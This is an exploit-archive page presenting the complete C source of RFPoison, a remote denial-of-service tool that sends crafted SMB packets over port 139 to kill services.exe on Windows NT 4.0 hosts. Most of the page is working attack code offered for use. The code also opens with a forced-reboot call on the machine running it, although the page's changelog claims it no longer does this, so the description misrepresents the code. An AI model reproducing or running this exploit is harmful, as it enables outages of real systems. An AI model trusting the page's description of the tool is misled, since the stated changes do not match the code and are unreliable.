exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

RFPoison.c

RFPoison.c
Posted Jan 22, 2000
Authored by rain forest puppy | Site wiretrip.net

Source for the RFPoison, a NT remote DOS. NT 4.0 server and workstation are vulnerable, even with SP level 1, 3, 5, or 6.

Changes: AVP no loger thinks this is a trojan, and it no longer reboots the machine it is running on.
tags | remote
SHA-256 | 97b128e117f9dab3ea840c5462d01811717f598125ea7c7d49bde330c80268b9

RFPoison.c

Change Mirror Download
/*      RFPoison.c - rain forest puppy - Oct 1999

Kills services.exe on NT boxen, which breaks a lot of stuff */

#include <winsock.h>
#include <stdio.h>
#include <string.h>

void ipc_send ( char tosend[], int inc);
void usage (void);
void dosteps (void);

/* there's some inital repeated patterns, but separating them out
and adjusting the few different bytes in the middle would only
save about 50 bytes total, so screw it...I just leave full
sessions/packets/requests */

/* session setup */
char setup[]="\x81\x00\x00\x48\x20\x43\x4b\x46\x44\x45"
"\x4e\x45\x43\x46\x44\x45\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43"
"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x00\x20\x45\x48\x45"
"\x42\x46\x45\x45\x46\x45\x4c\x45\x46\x45\x46\x46\x41\x45\x46\x46"
"\x43\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41\x41\x00\x00\x00"
"\x00\x00";

/* dialect select */
char dialect[]="\x00\x00\x00\xa4\xff\x53\x4d\x42\x72\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf4\x01\x00\x00\x01\x00\x00\x81\x00\x02\x50\x43"
"\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d"
"\x20\x31\x2e\x30\x00\x02\x4d\x49\x43\x52\x4f\x53\x4f\x46\x54\x20"
"\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x31\x2e\x30\x33\x00\x02\x4d"
"\x49\x43\x52\x4f\x53\x4f\x46\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b"
"\x53\x20\x33\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x53\x61\x6d"
"\x62\x61\x00\x02\x4e\x54\x20\x4c\x41\x4e\x4d\x41\x4e\x20\x31\x2e"
"\x30\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00";

/* setup account */
char account[]="\x00\x00\x00\x54\xff\x53\x4d\x42\x73\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf4\x01\x00\x00\x01\x00\x0d\xff\x00\x00\x00\xff"
"\xff\x02\x00\xf4\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x17\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f"
"\x55\x50\x00\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61\x00";

/* connect to IPC */
char ipc[]="\x00\x00\x00\x42\xff\x53\x4d\x42\x75\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf4\x01\x00\x08\x01\x00\x04\xff\x00\x00\x00\x00"
"\x00\x01\x00\x17\x00\x00\x5c\x5c\x2a\x53\x4d\x42\x53\x45\x52\x56"
"\x45\x52\x5c\x49\x50\x43\x24\x00\x49\x50\x43\x00";

/* connect to \srvsvc */
char srvsvc[]="\x00\x00\x00\x5b\xff\x53\x4d\x42\xa2\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x08\xf4\x01\x00\x08\x01\x00\x18\xff\x00\x00\x00\x00"
"\x07\x00\x06\x00\x00\x00\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x08\x00\x5c\x73\x72"
"\x76\x73\x76\x63\x00";

/* transact:bind */
char transact1[]="\x00\x00\x00\x94\xff\x53\x4d\x42\x25\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x08\xf4\x01\x00\x08\x01\x00\x10\x00\x00\x48\x00\x00"
"\x00\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4c"
"\x00\x48\x00\x4c\x00\x02\x00\x26\x00\x00\x08\x51\x00\x5c\x50\x49"
"\x50\x45\x5c\x00\x00\x00\x05\x00\x0b\x00\x10\x00\x00\x00\x48\x00"
"\x00\x00\x01\x00\x00\x00\x30\x16\x30\x16\x00\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x01\x00\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78"
"\x5a\x47\xbf\x6e\xe1\x88\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c"
"\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00";

/* transact:request share enumeration */
char transact2[]="\x00\x00\x00\xa4\xff\x53\x4d\x42\x25\x00"
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x08\xf4\x01\x00\x08\x01\x00\x10\x00\x00\x58\x00\x00"
"\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4c"
"\x00\x58\x00\x4c\x00\x02\x00\x26\x00\x00\x08\x61\x00\x5c\x50\x49"
"\x50\x45\x5c\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00\x58\x00"
"\x00\x00\x02\x00\x00\x00\x48\x00\x00\x00\x00\x00\x0f\x00\x01\x00"
"\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x5c\x00"
"\x5c\x00\x2a\x00\x53\x00\x4d\x00\x42\x00\x53\x00\x45\x00\x52\x00"
"\x56\x00\x45\x00\x52\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

/* no, that's not shellcode!!! */

int sizes[]={76,168,88,70,95,152,168};

char buf[8000];
int sox, connex;
struct sockaddr_in ntsin;

int main(int argc, char *argv[]){

WORD wVersionRequested;
WSADATA wsaData;
int err;
unsigned long crap;

err=ExitWindowsEx(6, crap);
if(err != 0){
perror("Exitwin failed: ");
exit(1);}

printf("RFPoison - rain forest puppy - ADM - wiretrip\n");
if (argc < 2 || argc > 2) usage();
printf("Poisoning %s\n",argv[1]);


wVersionRequested = MAKEWORD( 1, 1 );

err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
perror("WSAStartup puked: ");
exit(1);}

ntsin.sin_addr.s_addr = inet_addr(argv[1]);
ntsin.sin_family = AF_INET;
ntsin.sin_port = htons(139);

dosteps();
printf("Poison packet sent.\n");
return 0;
} /* end main */


void ipc_send ( char tosend[], int inc) {
int x;
send(sox, tosend, sizes[inc],0); /* send request */
x=recv(sox,buf,7000,0); /* get response */

if(x<1){
printf("Problem, didn't get response to step %i\n",inc);
closesocket(sox); exit(1);}

if(buf[9]!='\x00'||buf[10] !='\x00'||buf[11]!='\x00'||buf[12]!='\x00') {
printf("Step %i failed.\n",inc);
if(inc==4) printf("Maybe already dead?\n");
closesocket(sox);
exit(1);}

return;} /* end ipc_send */

void usage (void) {
printf( "\n\tusage: rfpoison <ip of target>\n"
"\t\tNOTE IT'S IP, NOT DNS!\n"
"\n\tProps:\n\n"
"\tADM\t\t- elite people who have fun!\n"
"\tw00w00\t\t- more elite people\n"
"\t#rhino9\t\t- my friends will know who they are\n"
"\twiretrip\t- who exactly are they?\n"
"\tNMRC\t\t- definately no rest for the wicca'd\n"
"\tAleph1\t\t- viva la full disclosure!\n"
"\n\t+ all other individuals and groups I talk to\n\n");
exit(1);}


void dosteps (void) {
sox = socket(AF_INET,SOCK_STREAM,0);
if (sox == INVALID_SOCKET){
perror("Socket problems: ");
exit(1);}

if (connect(sox, (struct sockaddr *)&ntsin, sizeof(ntsin)) == SOCKET_ERROR){
perror("Problems connecting: ");
exit(1);}

/* session setup */
send(sox,(char *)&setup,sizes[0],0); /* send initial request */
connex=recv(sox,buf,8000,0); /* get their response */

if(connex<1){
printf("Problem, didn't get response to setup\n");
closesocket(sox); exit(1);}

if(buf[0] !='\x82') {
printf("Setup failed.\n"); closesocket(sox); exit(1);}

/* steps */
ipc_send(dialect,1);
ipc_send(account,2);
ipc_send(ipc,3);
ipc_send(srvsvc,4);
ipc_send(transact1,5);

/* enum - can't use ipc_send because the read will fail */
send(sox,(char *)&transact2,sizes[6],0); /* send request */
closesocket(sox);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close